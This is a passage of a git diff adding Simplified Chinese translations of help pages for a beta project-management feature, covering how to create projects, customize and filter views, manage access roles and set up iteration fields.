Markdown,它允许您使用图像和高级格式,如链接、列表和标题。 + +有关详细信息,请参阅“[创建项目(beta 版本)](/issues/trying-out-the-new-projects-experience/creating-a-project#updating-your-project-description-and-readme)”。 + +## 使用视图 + +使用项目视图从不同角度查看您的项目。 + +例如: + +- 按状态过滤以查看所有未启动的项 +- 按自定义优先级字段分组以监控高优先级项目的数量 +- 按自定义日期字段排序,以查看具有最早目标运输日期的物品 + +有关详细信息,请参阅“[自定义项目视图](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)”。 + +## 拥有单一真相来源 + +为了防止信息不同步,请保持单一真相来源。 例如,在一个位置跟踪目标运输日期,而不是分布于多个字段。 然后,如果目标运输日期发生变化,您只需要在一个位置更新日期。 + +{% data variables.product.company_short %} 项目自动更新 {% data variables.product.company_short %} 数据,例如受理人、里程碑和标签。 当其中一个字段在议题或拉取请求中发生变化时,更改会自动反映在您的项目中。 + +## 使用自动化 + +您可以自动执行任务,以减少您在繁琐工作上花费的时间,将更多的时间用于项目本身。 需要手动操作的越少,项目就越有可能保持最新状态。 + +项目(测试版)提供内置工作流程。 例如,当议题关闭时,您可以自动将状态设置为“完成”。 + +此外,{% data variables.product.prodname_actions %} 和 GraphQL API 还可让您实现例行项目管理任务自动化。 例如,要跟踪等待审查的拉取请求,您可以创建一个工作流程,将拉取请求添加到项目并将状态设置为“需要审核”;当拉取请求标记为“准备审核”时,可以自动触发此过程。 + +- 有关示例工作流,请参阅“[自动执行项目](/issues/trying-out-the-new-projects-experience/automating-projects)”。 +- 有关 API 的详细信息,请参阅“[使用 API 管理项目](/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects)”。 +- 有关 {% data variables.product.prodname_actions %} 的详细信息,请参阅 [“{% data variables.product.prodname_actions %}](/actions)”。 + +## 使用不同的字段类型 + +利用各种字段类型来满足您的需求。 + +使用迭代字段可以安排工作或创建日程表。 您可以按迭代进行分组以查看项目在迭代之间是否平衡,也可以进行筛选以专注于单个迭代。 迭代字段还允许您查看在过去迭代中完成的工作,这有助于快速规划和反映团队的成就。 迭代字段还支持休息,以显示您和您的团队何时从迭代中抽出时间。 有关详细信息,请参阅“[管理项目中的迭代](/issues/trying-out-the-new-projects-experience/managing-iterations)”。 + +使用单选字段可以根据预设的值列表跟踪有关任务的信息。 例如,跟踪优先级或项目阶段。 由于这些值是从预设列表中选择的,因此您可以轻松地对值进行分组或筛选,以将焦点放在具有特定值的项目上。 + +有关不同字段类型的详细信息,请参阅“[创建项目(beta 版本)](/issues/trying-out-the-new-projects-experience/creating-a-project#adding-custom-fields)”。 diff --git a/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/creating-a-project.md b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/creating-a-project.md new file mode 100644 index 0000000000..f9a6c3b908 --- /dev/null +++ b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/creating-a-project.md @@ -0,0 +1,209 @@ +--- +title: 创建项目(测试版) +intro: 了解如何创建项目、填充项目并添加自定义字段。 +allowTitleToDifferFromFilename: true +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghec: '*' +type: tutorial +topics: +- Projects +ms.openlocfilehash: 3fa7e52f09f3be67a036000b13f484b29852a741 +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145128683" +--- +项目是可自定义的项集合,可随 {% data variables.product.company_short %} 数据保持最新状态。 您的项目可以跟踪议题、拉取请求以及您加入的想法。 您可以添加自定义字段并为特定目的创建视图。 + +{% data reusables.projects.projects-beta %} + +## 创建项目 + +### 创建组织项目 + +{% data reusables.projects.create-project %} + +### 创建用户项目 + +{% data reusables.projects.create-user-project %} + +## 更新项目描述和 README + +{% data reusables.projects.project-description %} + +## 为您的项目添加项 + +您的项目可以跟踪草稿议题、议题和拉取请求。 + +### 创建草稿议题 + +草稿议题有助于快速捕获想法。 + +1. 将光标放在项目底部一行,{% octicon "plus" aria-label="plus icon" %} 的旁边。 +1. 键入想法,然后按 Enter 键。 +1. 要添加正文文本,请单击草稿议题的标题。 在显示的 Markdown 输入框中,输入草拟的问题正文文本,然后单击“保存”。 + +草稿议题可以具有标题、文本正文、受理人以及项目中的任何自定义字段。 为了填充草稿议题的存储库、标签或里程碑,必须首先将草稿问题转换为议题。 有关详细信息,请参阅“[将草稿问题转换为问题](#converting-draft-issues-to-issues)”。 + +{% note %} + +注意:用户在草稿问题中被分配或提及时不会收到通知,除非草稿问题已转换为问题。 + +{% endnote %} + +### 议题和拉取请求 + +#### 粘贴议题或拉取请求的 URL + +1. 将光标放在项目底部一行,{% octicon "plus" aria-label="plus icon" %} 的旁边。 +1. 粘贴议题或拉取请求的 URL。 + +#### 搜索议题或拉取请求 + +1. 将光标放在项目底部一行,{% octicon "plus" aria-label="plus icon" %} 的旁边。 +2. 输入 # 。 +3. 选择拉取请求或议题所在的仓库。 您可以输入仓库名称的一部分来缩小选项范围。 +4. 选择议题或拉取请求。 您可以键入标题的一部分以缩小选项范围。 + +#### 从存储库添加多个问题或拉取请求 + +1. 在 {% data variables.product.product_location %} 上,导航到包含要添加到项目中的问题或拉取请求的存储库。 +{% data reusables.repositories.sidebar-issue-pr %} +1. 在每个问题标题的左侧,选择要添加到项目中的问题。 + ![显示用于选择问题或拉取请求的复选框的屏幕截图](/assets/images/help/issues/select-issue-checkbox.png) +1. (可选)若要选择页面上的每个问题或拉取请求,请在问题或拉取请求列表的顶部选择全选。 + ![显示用于在屏幕上全选的复选框的屏幕截图](/assets/images/help/issues/select-all-checkbox.png) +1. 在问题列表或拉取请求的上方,单击“项目(beta 版本)”。 + ![显示用于在屏幕上全选的复选框的屏幕截图](/assets/images/help/issues/projects-beta-assign-button.png) +1. 单击要向其添加所选问题或拉取请求的项目。 + ![显示用于在屏幕上全选的复选框的屏幕截图](/assets/images/help/issues/projects-beta-assign-dropdown.png) + +#### 从议题或拉取请求中分配项目 + +1. 导航到要添加到项目的议题或拉取请求。 +2. 在侧栏中,单击“项目”。 +3. 选择要添加议题或拉取请求的项目。 +4. (可选)填充自定义字段。 + + ![项目侧边栏](/assets/images/help/issues/project_side_bar.png) + +## 将草稿议题转换为议题 + +在表格布局中: + +1. 在要转换的草稿议题上单击 {% octicon "triangle-down" aria-label="the item menu" %}。 +2. 选择“转换为问题”。 +3. 选择要将议题添加到的存储库。 +4. 或者,编辑要转换的草稿问题的 `labels`、`milestone` 或 `repository` 字段。 + +在板布局中: + +1. 在要转换的草稿议题上单击 {% octicon "kebab-horizontal" aria-label="the item menu" %}。 +2. 选择“转换为问题”。 +3. 选择要将议题添加到的存储库。 + +## 从项目中删除项 + +您可以对项存档以保留项目中有关该项的上下文,但将其从项目视图中移除。 您可以删除某个项以将其从项目中完全移除。 + +1. 选择要存档或删除的项。 要选择多个项,请执行下列操作之一: + - Command+单击 (Mac) 或 Ctrl+单击 (Windows/Linux) 每个项。 + - 选择某项,然后按 Shift+Shift+ 以选择最初选择项上方或下方的其他项。 + - 选择一个项,然后按 Shift+单击另一个项,以选择两个项之间的所有项。 + - 输入 Command+A (Mac) 或 Ctrl+A (Windows/Linux),以选择板布局中某一列的所有项或表格布局中的所有项。 +2. 若要存档所有选定的项,请输入 E。若要删除所有选定的项,请输入 Del。或者,选择 {% octicon "triangle-down" aria-label="the item menu" %}(在表格布局中)或 {% octicon "kebab-horizontal" aria-label="the item menu" %}(在板布局中),然后选择所需的操作。 + +您可以恢复已存档的项,但不能恢复已删除的项。 有关详细信息,请参阅[还原存档项](#restoring-archived-items)。 + +## 恢复存档的项 + +1. 导航到你的项目。 +1. 单击右上角的 {% octicon "kebab-horizontal" aria-label="the kebab icon" %}。 +1. 在菜单中,单击“已存档项”。 +1. (可选)若要筛选显示的已存档项,请在项列表上方的文本框中键入筛选器。 有关可用筛选器的详细信息,请参阅“[筛选项目(beta 版本)](/issues/trying-out-the-new-projects-experience/filtering-projects)”。 + + ![显示用于筛选已存档项的字段的屏幕截图](/assets/images/help/issues/filter-archived-items.png) + +1. 在每个项标题的左侧,选择要还原的项。 + + ![显示已存档项旁边的复选框的屏幕截图](/assets/images/help/issues/select-archived-item.png) + +1. 若要还原所选的项,请单击项列表上方的“还原”。 + + ![显示“还原”按钮的屏幕截图](/assets/images/help/issues/restore-archived-item-button.png) + +## 添加字段 + +随着字段值的变化,它们会自动同步,以便您的项目及其跟踪的项保持最新。 + +### 显示现有字段 + +您的项目跟踪有关议题和拉取请求的最新信息,包括对标题、受理人、标签、里程碑、存储库、审阅者和链接的拉取请求所做的任何更改。 当项目初始化时,会显示“标题”和“受理人”;其他字段隐藏。 您可以更改项目中这些字段的可见性。 + +1. {% data reusables.projects.open-command-palette %} +2. 开始键入 "show"。 +3. 选择所需的命令(例如: "Show: Repository")。 + +或者,您可以在界面中执行以下操作: + +1. 单击最右侧字段标题中的 {% octicon "plus" aria-label="the plus icon" %} 。 将显示带有项目字段的下拉菜单。 + ![显示或隐藏字段](/assets/images/help/issues/projects_fields_menu.png) +2. 选择您想要显示或隐藏的字段。 {% octicon "check" aria-label="check icon" %} 指示显示哪些字段。 + +### 添加自定义字段 + +您可以添加自定义字段到项目。 自定义字段将显示在项目中议题和拉取请求的侧栏。 + +自定义字段可以是文本、数字、日期、单选或迭代: + +- 文本:值可以是任何文本。 +- 数字:值必须是数字。 +- 日期:值必须是日期。 +- 单选:必须从一组指定的值中选择值。 +- 迭代:必须从一组日期范围(迭代)中选择值。 过去的迭代将自动标记为“已完成”,覆盖当前日期范围的迭代将标记为“当前”。 有关详细信息,请参阅“[管理项目中的迭代](/issues/trying-out-the-new-projects-experience/managing-iterations)”。 + +1. {% data reusables.projects.open-command-palette %} 开始输入 "Create new field" 的任何部分。 当 "Create new field" 显示在命令板中时,选择它。 +2. 或者,单击最右侧字段标题中的 {% octicon "plus" aria-label="the plus icon" %} 。 将显示带有项目字段的下拉菜单。 单击“新建字段”。 +3. 将显示一个弹出窗口,供您输入有关新字段的信息。 + ![新建字段](/assets/images/help/issues/projects_new_field.png) +4. 在文本框中,输入新字段的名称。 +5. 选择下拉菜单并点击所需的类型。 +6. 如果将类型指定为“单选”,请输入选项。 +7. 如果将类型指定为“迭代”,请输入第一个迭代的开始日期和迭代的持续时间。 将自动创建三个迭代,您可以在项目的设置页上添加其他迭代。 + +你还可以编辑自定义字段。 + +{% data reusables.projects.project-settings %} +1. 在“字段”下,选择要编辑的字段。 +1. 对于单选字段,您可以添加、删除或重新排序选项。 +1. 对于迭代字段,您可以添加或删除迭代、更改迭代名称以及更改迭代的开始日期和持续时间。 + + 有关修改迭代字段的详细信息,请参阅“[管理项目中的迭代](/issues/trying-out-the-new-projects-experience/managing-iterations)”。 + +## 自定义视图 + +您可以将项目视为表格或板、按字段对项分组、筛选项,等等。 有关详细信息,请参阅“[自定义项目(beta 版本)视图](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)”。 + +## 配置内置自动化 + +{% data reusables.projects.about-workflows %} + +您可以为项目启用或禁用内置工作流程。 + +{% data reusables.projects.enable-basic-workflow %} + +## 将项目添加到存储库 + +您可以在存储库中列出相关项目。 您只能列出由拥有存储库的同一用户或组织拥有的项目。 + +为了使存储库成员能够看到存储库中列出的项目,他们必须具有项目的可见性。 有关详细信息,请参阅“[管理项目(beta 版本)的可见性](/issues/trying-out-the-new-projects-experience/managing-the-visibility-of-your-projects)”和“[管理对项目(beta 版本)的访问权限](/issues/trying-out-the-new-projects-experience/managing-access-to-projects)”。 + +1. 在 {% data variables.product.prodname_dotcom %} 上,导航到仓库的主页面。 +1. 单击 {% octicon "table" aria-label="the project icon" %}“项目”。 +1. 单击侧栏中的“项目(beta 版本)”。 +1. 单击“添加项目”。 +1. 在显示的搜索栏中,搜索由拥有存储库的同一用户或组织拥有的项目。 +1. 单击某个项目以将其列在您的存储库中。 diff --git a/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md new file mode 100644 index 0000000000..76ebcdd417 --- /dev/null +++ b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md @@ -0,0 +1,209 @@ +--- +title: 自定义项目(测试版)视图 +intro: 通过更改项目中的布局、分组、排序和筛选器来显示您需要的信息。 +allowTitleToDifferFromFilename: true +versions: + fpt: '*' + ghec: '*' +type: reference +topics: +- Projects +ms.openlocfilehash: 86b8d7e439b19327b1f752f8d893e349665168f4 +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145128680" +--- +{% data reusables.projects.projects-beta %} + +## 项目命令面板 + +使用项目命令面板快速更改项目中的设置并运行命令。 + +1. {% data reusables.projects.open-command-palette %} +2. 开始键入命令的任何部分或浏览命令面板窗口以查找命令。 更多命令示例请参阅下面的章节。 + +## 更改项目布局 + +您可以将项目视为表或板。 + +1. {% data reusables.projects.open-command-palette %} +2. 开始键入 "Switch layout"。 +3. 选择所需的命令。 例如 Switch layout: Table。 + +或者,单击视图名称旁边的 {% octicon "triangle-down" aria-label="the drop-down icon" %},然后单击“表”或“板” 。 + +## 显示和隐藏字段 + +您可以显示或隐藏特定字段。 + +### 在表格布局中显示和隐藏字段 + +1. {% data reusables.projects.open-command-palette %} +2. 开始键入要执行的操作("show" 或 "hide")或字段名称。 +3. 选择所需的命令。 例如,Show: Milestone。 + +或者,单击表格右侧的 {% octicon "plus" aria-label="the plus icon" %}。 在显示的下拉菜单中,指示要显示或隐藏哪些字段。 {% octicon "check" aria-label="check icon" %} 指示显示哪些字段。 + +或者,单击字段名称旁边的 {% octicon "triangle-down" aria-label="the drop-down icon" %},然后单击“隐藏字段”。 + +### 在板布局中显示和隐藏字段 + +1. 单击视图名称旁边的 {% octicon "triangle-down" aria-label="the drop-down icon" %}。 +2. 在“配置”下,单击 {% octicon "list-unordered" aria-label="the unordered list icon" %}。 +3. 在显示的菜单中,选择字段可添加它们,取消选择字段则将其从视图中移除。 + +## 对字段重新排序 + +您可以更改字段的顺序。 + +1. 单击字段标题。 +2. 点击时,将字段拖到所需位置。 + +## 对行重新排序 + +在表布局中,您可以更改行的顺序。 + +1. 点击行开头的数字。 +2. 点击时,将行拖到所需位置。 + +## 按字段值排序 + +在表布局中,您可以按字段值排序项。 + +1. {% data reusables.projects.open-command-palette %} +2. 开始键入 "Sort by" 或您想要排序的字段的名称。 +3. 选择所需的命令。 例如 Sort by: Assignees, asc。 + +或者,单击你要排序的字段名称旁边的 {% octicon "triangle-down" aria-label="the drop-down icon" %},然后单击“升序排序”或“降序排序” 。 + +{% note %} + +注意:对表格排序时,你不能手动重新排序行。 + +{% endnote %} + +按照类似步骤删除排序。 + +1. {% data reusables.projects.open-command-palette %} +2. 开始键入 "Remove sort-by"。 +3. 选择 Remove sort-by。 + +或者,单击视图名称旁边的 {% octicon "triangle-down" aria-label="the drop-down icon" %} ,然后单击指示当前排序的菜单项。 + +## 在表布局中按字段值分组 + +在表布局中,您可以按自定义字段值排序组项。 对项分组时,如果将项拖动到新组,则应用该组的值。 例如,如果你是按“状态”分组,然后将一个状态为 `In progress` 的项拖动到 `Done` 组,则该项的状态将切换为 `Done`。 同样,当您向组添加新项时,新项将使用组的值填充。 + +{% note %} + +注意:目前,你无法按标题、标签、审查者或链接的拉取请求进行分组。 + +{% endnote %} + +1. {% data reusables.projects.open-command-palette %} +2. 开始键入 "Group by" 或您想要分组的字段的名称。 +3. 选择所需的命令。 例如,Group by: Status。 + +或者,单击要作为分组依据的字段名称旁边的 {% octicon "triangle-down" aria-label="the drop-down icon" %},然后单击“按值分组”。 + +按照类似步骤删除分组。 + +1. {% data reusables.projects.open-command-palette %} +2. 开始键入 "Remove group-by"。 +3. 选择 Remove group-by。 + +或者,选择视图名称旁边的 {% octicon "triangle-down" aria-label="the drop-down icon" %},然后单击显示当前分组的菜单项。 + +## 在板布局中设置列字段 + +在板布局中,您可以为列选择任何单选或迭代字段。 如果将某个项拖到新列,则该列的值将应用于拖动的项。 例如,如果对板列使用“状态”字段,然后将状态为 `In progress` 的项拖到 `Done` 列,则该项的状态将切换为 `Done`。 + +1. {% data reusables.projects.open-command-palette %} +1. 开始键入 "Column field by" 或您想要用于列的字段名称。 +1. 选择所需的命令。 例如 Column field by: Status。 + +或者,单击要修改的板视图旁边的 {% octicon "triangle-down" aria-label="the drop-down icon" %},然后单击 {% octicon "columns" aria-label="the column icon" %}“列字段”。 然后选择要用于板列的字段。 + +## 过滤项 + +点击表格顶部的 {% octicon "filter" aria-label="the filter icon" %} 以显示“Filter by keyword or by field(按关键字或字段过滤)”列。 开始键入要过滤的字段名称和值。 当您输入时,可能的值将会出现。 + +{% data reusables.projects.projects-filters %} + +或者,使用命令面板。 + +1. {% data reusables.projects.open-command-palette %} +2. 开始键入 "Filter by" 或您想要筛选的字段的名称。 +3. 选择所需的命令。 例如,Filter by Status。 +4. 输入您想要过滤的值。 例如:"In progress"。 您还可以过滤缺少特定值的字段(例如,选择“Exclude status(排除状态)”,然后选择一个状态)或缺少所有值的字段(例如,“No status(无状态)”)。 + +在板布局中,您可以单击项目数据以过滤具有该值的项。 例如,单击某个受理人以仅显示该受理人的项。 要移除过滤器,请再次单击项数据。 + +有关更多信息,请参阅“[筛选项目](/issues/trying-out-the-new-projects-experience/filtering-projects)”。 + +## 创建项目视图 + +项目视图允许您快速查看项目的特定方面。 每个视图都显示在项目中单独的选项卡上。 + +例如,您可以有: +- 显示所有尚未开始的项的视图(按“状态”过滤)。 +- 显示每个团队的工作负荷的视图(按自定义“团队”字段分组)。 +- 显示具有最早目标运送日期的项的视图(按日期字段排序)。 + +要添加新视图: + +1. {% data reusables.projects.open-command-palette %} +2. 开始键入 "New view"(创建新视图)或 "Duplicate view"(复制当前视图)。 +3. 选择所需的命令。 + +或者,单击最右侧视图旁边的 {% octicon "plus" aria-label="the plus icon" %}“新建视图”。 + +或者,单击视图名称旁边的 {% octicon "triangle-down" aria-label="the drop-down icon" %},然后单击“复制视图”。 + +新视图将自动保存。 + +## 保存对视图的更改 + +对视图进行更改(例如,对视图中的数据进行排序、重新排序、过滤或分组)时,视图名称旁边会显示一个点,以指示存在未保存的更改。 + +![未保存的更改指示符](/assets/images/help/projects/unsaved-changes.png) + +如果您不想保存更改,可以忽略此指示。 没有其他人会看到您的更改。 + +保存所有项目成员的视图的当前配置: +1. {% data reusables.projects.open-command-palette %} +1. 开始键入 "Save view" 或 "Save changes to new view"。 +1. 选择所需的命令。 + +或者,单击视图名称旁边的 {% octicon "triangle-down" aria-label="the drop-down icon" %},然后单击“保存视图”或”保存对新视图的更改” 。 + +## 对保存的视图重新排序 + +要更改包含已保存视图的选项卡的顺序,请单击选项卡并将其拖到新位置。 + +新选项卡顺序自动保存。 + +## 重命名保存的视图 + +要重命名视图: +1. 双击项目选项卡中的名称。 +1. 更改名称。 +1. 按 Enter 键,或在选项卡外部单击。 + +名称更改将自动保存。 + +## 删除已保存的视图 + +若要删除某个视图,请执行以下操作: +1. {% data reusables.projects.open-command-palette %} +2. 开始键入 "Delete view"。 +3. 选择所需的命令。 + +或者,单击视图名称旁边的 {% octicon "triangle-down" aria-label="the drop-down icon" %},然后单击“删除视图”。 + +## 延伸阅读 + +- [关于项目(beta 版本)](/issues/trying-out-the-new-projects-experience/about-projects) +- [创建项目(beta 版本)](/issues/trying-out-the-new-projects-experience/creating-a-project) diff --git a/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/filtering-projects.md b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/filtering-projects.md new file mode 100644 index 0000000000..ff58342ee0 --- /dev/null +++ b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/filtering-projects.md @@ -0,0 +1,31 @@ +--- +title: 筛选项目(beta 版本) +intro: 可以筛选项目以专注于特定信息。 +allowTitleToDifferFromFilename: true +miniTocMaxHeadingLevel: 2 +versions: + fpt: '*' + ghec: '*' +topics: +- Projects +- Organizations +ms.openlocfilehash: 4f37220275c5672b589ac9803ba6fe36c5058502 +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "147066240" +--- +{% data reusables.projects.projects-beta %} + +## 关于筛选项目 + +可使用筛选器和按项目中的字段来自定义项目元数据的视图,例如代理人和应用于问题的标签。 可以合并筛选并将其保存为视图。 有关详细信息,请参阅“[自定义项目视图](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)”。 + +若要筛选项目,请单击 {% octicon "filter" aria-label="The Filter icon" %} 并开始键入要筛选的字段和值。 当您输入时,可能的值将会出现。 也可以打开命令面板并键入“筛选依据”以从可用筛选中进行选择。 + +可以使用相同的筛选器来获取见解,以便筛选用于创建图表的数据。 有关详细信息,请参阅“[将见解用于项目](/issues/trying-out-the-new-projects-experience/using-insights-with-projects)”。 + +## 用于筛选项目的语法 + +{% data reusables.projects.projects-filters %} diff --git a/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/index.md b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/index.md new file mode 100644 index 0000000000..6bf25d2324 --- /dev/null +++ b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/index.md @@ -0,0 +1,32 @@ +--- +title: 尝试新项目体验 +shortTitle: Projects (beta) +intro: 构建自定义项目,以跟踪您在 {% data variables.product.company_short %} 中的工作。 +versions: + fpt: '*' + ghec: '*' +topics: +- Issues +- Projects +children: +- /about-projects +- /quickstart +- /creating-a-project +- /migrating-your-project +- /managing-iterations +- /customizing-your-project-views +- /filtering-projects +- /using-the-api-to-manage-projects +- /automating-projects +- /managing-projects +- /managing-the-visibility-of-your-projects +- /managing-access-to-projects +- /using-insights-with-projects +- /best-practices-for-managing-projects +ms.openlocfilehash: 5d40b7eea821c2e6592bd6d645471b7adf6ed04a +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "146419801" +--- diff --git a/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md new file mode 100644 index 0000000000..6133056edd --- /dev/null +++ b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md @@ -0,0 +1,95 @@ +--- +title: 管理对项目的访问(测试版) +intro: 您可以控制谁可以查看、编辑或管理您的项目。 +allowTitleToDifferFromFilename: true +miniTocMaxHeadingLevel: 2 +versions: + fpt: '*' + ghec: '*' +topics: +- Projects +- Organizations +ms.openlocfilehash: 2c50343bfe8e3fd4e65a9a39b798f355cf0f13bb +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145128671" +--- +{% data reusables.projects.projects-beta %} + +## 关于项目访问 + +组织级项目的管理员可以管理整个组织、团队、单个组织成员和外部协作者的访问权限。 + +用户级项目的管理员可以邀请单个协作者并管理其访问权限。 + +项目管理员还可以控制其项目在互联网上对每个人的可见性。 有关详细信息,请参阅“[管理项目的可见性](/issues/trying-out-the-new-projects-experience/managing-the-visibility-of-your-projects)”。 + +## 管理组织级项目的访问权限 + +### 管理组织中每个人的访问权限 + +默认的基本角色是 `write`,这意味着组织中的每个人都可以查看和编辑项目。 要更改组织中每个人的项目访问权限,您可以更改基本角色。 对基本角色的更改仅影响不是组织所有者且未被授予个人访问权限的组织成员。 + +{% data reusables.projects.project-settings %} +1. 单击“管理访问”。 +2. 在“基本角色”下,选择默认角色。 + - 无访问权限:只有组织所有者和被授予个人访问权限的用户才能查看该项目。 组织所有者也是项目的管理员。 + - 读取:组织中的每个人都可以查看项目。 组织所有者也是项目的管理员。 + - 写入:组织中的每个人都可以查看并编辑项目。 组织所有者也是项目的管理员。 + - 管理员:组织中的每个人都是项目的管理员。 + +### 管理组织中团队和单个成员的访问权限 + +您还可以将团队、外部协作者和单个组织成员添加为组织级项目的协作者。 有关详细信息,请参阅“[关于团队](/organizations/organizing-members-into-teams/about-teams)”。 + +仅当单个用户已经是组织中的成员或组织中至少一个存储库的外部协作者时,您才能邀请该用户协作处理组织级项目。 + +{% data reusables.projects.project-settings %} +1. 单击“管理访问”。 +2. 在“邀请协作者”下,搜索要邀请的团队或单个用户。 +3. 为协作者选择角色。 + - 读取:团队或个人可以查看项目。 + - 写入:团队或个人可以查看和编辑项目。 + - 管理员:团队或个人可以查看、编辑项目,还可为项目添加新协作者。 +4. 单击“邀请”。 + +### 管理现有协作者对项目的访问 + +{% data reusables.projects.project-settings %} +1. 单击“管理访问”。 +1. 在“管理访问权限”下,找到要修改其权限的协作者。 + + 可以使用“类型”和“角色”下拉菜单来筛选访问列表 。 + +1. 编辑协作者的角色,或单击 {% octicon "trash" aria-label="the trash icon" %} 以删除协作者。 + +## 管理用户级项目的访问权限 + +### 授予协作者对项目的访问权限 + +{% note %} + +这只会影响项目的协作者,而不会影响项目中的存储库。 要查看项目上的项,必须具有该项所属存储库所需的权限。 如果项目包含私有存储库中的项目,则不是存储库协作者的用户将无法查看该存储库中的项。 有关详细信息,请参阅“[设置存储库可见性](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility)”和“[管理有权访问存储库的团队和人员](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository)”。 + +{% endnote %} + +{% data reusables.projects.project-settings %} +1. 单击“管理访问”。 +2. 在“邀请协作者”下,搜索要邀请的用户。 +3. 为协作者选择角色。 + - 读取:个人可以查看项目。 + - 写入:个人可以查看和编辑项目。 + - 管理员:个人可以查看、编辑项目,还可为项目添加新协作者。 +4. 单击“邀请”。 + +### 管理现有协作者对项目的访问 + +{% data reusables.projects.project-settings %} +1. 单击“管理访问”。 +1. 在“管理访问权限”下,找到要修改其权限的协作者。 + + 可以使用“角色”下拉菜单来筛选访问列表。 + +1. 编辑协作者的角色,或单击 {% octicon "trash" aria-label="the trash icon" %} 以删除协作者。 diff --git a/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/managing-iterations.md b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/managing-iterations.md new file mode 100644 index 0000000000..db945fe072 --- /dev/null +++ b/translations/zh-CN/content/issues/trying-out-the-new-projects-experience/managing-iterations.md @@ -0,0 +1,70 @@ +--- +title: 管理项目中的迭代(测试版) +intro: 可以创建迭代来计划即将到来的工作和组项。 +allowTitleToDifferFromFilename: true +miniTocMaxHeadingLevel: 2 +versions: + fpt: '*' + ghec: '*' +topics: +- Projects +- Organizations +ms.openlocfilehash: e64eb3e29efe513578984bc0c198ac8743803287 +ms.sourcegitcommit: 95e6f3d3aba8c637a3f72b571a6beacaa38d367f +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/11/2022 +ms.locfileid: "147067568" +--- +{% data reusables.projects.projects-beta %} + +## 关于迭代 + +可以创建一个迭代字段,将项与特定的重复时间块相关联。 迭代可以设置为任何时间长度,可以包括中断,并且可以进行单独编辑以修改名称和日期范围。 对于项目,可以按迭代分组,以可视化即将开始的工作的平衡度,使用筛选器专注于单个迭代,并按迭代进行排序。 + +首次创建迭代字段时,会自动创建三个迭代。 可在项目的设置页上添加其他迭代并进行其他更改。 + +![显示迭代字段设置的屏幕截图](/assets/images/help/issues/iterations-example.png) + +## 创建迭代字段 + +可以使用命令面板或项目的界面创建迭代字段。 + +1. {% data reusables.projects.open-command-palette %} 开始输入 "Create new field" 的任何部分。 当 "Create new field" 显示在命令板中时,选择它。 + + 或者,单击最右侧字段标题中的 {% octicon "plus" aria-label="the plus icon" %} 。 将显示带有项目字段的下拉菜单。 单击“新建字段”。 +1. 在文本框中,为新迭代字段输入一个名称。 +1. 选择下面的下拉菜单,然后单击“迭代”。 +1. (可选)如果要从当前日期更改开始日期,请选择“开始日期”旁边的日历下拉列表,然后单击新的开始日期。 +2. 要更改每次迭代的持续时间,请键入一个新数字,然后选择下拉列表,再单击“天”或“周” 。 +3. 单击“保存并创建”。 + +## 添加新迭代 + +{% data reusables.projects.project-settings %} +1. 单击要调整的迭代字段的名称。 +1. 要添加持续时间相同的新迭代,请单击“添加迭代”。 +1. (可选)要自定义新迭代的持续时间及其开始时间,请单击“添加迭代”旁边的 {% octicon "triangle-down" aria-label="The triangle icon" %},选择开始日期和持续时间,然后单击“添加”。 +1. 单击“保存更改”。 + +## 编辑迭代 + +可以在项目设置中编辑迭代。 还可以通过单击字段的表标题中的 {% octicon "triangle-down" aria-label="The triangle icon" %} 并单击“编辑值”来访问迭代字段的设置。 + +{% data reusables.projects.project-settings %} +1. 单击要调整的迭代字段的名称。 +1. 要更改迭代的名称,请单击该名称并开始键入。 +1. 要更改迭代的日期或持续时间,请单击日期以打开日历。 单击起始日,然后单击结束日,再单击“应用”。 +1. (可选)要删除迭代,请单击 {% octicon "trash" aria-label="The trash icon" %}。 +1. 单击“保存更改”。 + +## 插入中断 + +可以将在迭代中插入中断,以便在从计划的工作中抽出时间时进行通信。 新中断的默认持续时间为最近创建的迭代的长度。 + +{% data reusables.projects.project-settings %} +1. 单击要调整的迭代字段的名称。 +2. 在迭代上方和右侧的分隔线上,单击“插入中断”。 + ![显示“插入中断”按钮位置的屏幕截图](/assets/images/help/issues/iteration-insert-break.png) +3. (可选)要更改中断持续时间,请单击日期以打开日历。 单击起始日,然后单击结束日,再单击“应用”。 